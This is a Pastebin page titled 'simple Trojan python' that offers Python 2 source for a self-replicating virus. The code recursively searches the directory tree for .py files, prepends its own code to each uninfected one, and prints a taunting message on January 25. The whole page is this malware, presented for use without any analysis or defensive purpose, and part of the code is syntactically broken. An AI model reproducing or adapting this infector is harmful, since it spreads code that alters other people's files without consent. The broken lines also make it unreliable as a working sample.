Advertisement
JackHaxor

simple Trojan python

May 14th, 2017
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import datetime
  4. SIGNATURE = "SIMPLE PYTHON VIRUS"
  5. def search(path):
  6. filestoinfect = []
  7. filelist = os.listdir(path)
  8. for fname in filelist:
  9. if os.path.isdir(path+"/"+fname):
  10. filestoinfect.extend(search(path+"/"+fname))
  11. elif fname[-3:] == ".py":
  12. infected = False
  13. for line in open(path+"/"+fname):
  14. if SIGNATURE in line:
  15. infected = True
  16. break
  17. if infected == False:
  18. filestoinfect.append(path+"/"+fname)
  19. return filestoinfect
  20. def infect(filestoinfect):
  21. virus = open(os.path.abspath(__file__))
  22. virusstring = ""
  23. for i,line in enumerate(virus):
  24. if i>= and i <39:
  25. virusstring += line
  26. virus.close
  27. for fname in filestoinfect:
  28. f = open(fname)
  29. temp = f.read()
  30. f.close()
  31. f = open(fname,"w")
  32. f.write(virusstring + temp)
  33. f.close()
  34. def bomb():
  35. if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
  36. print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT'S AN EVIL ALUGH BY THE WAY!!"
  37. filestoinfect = search(os.path.abspath(""))
  38. infect(filestoinfect)
  39. bomb()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement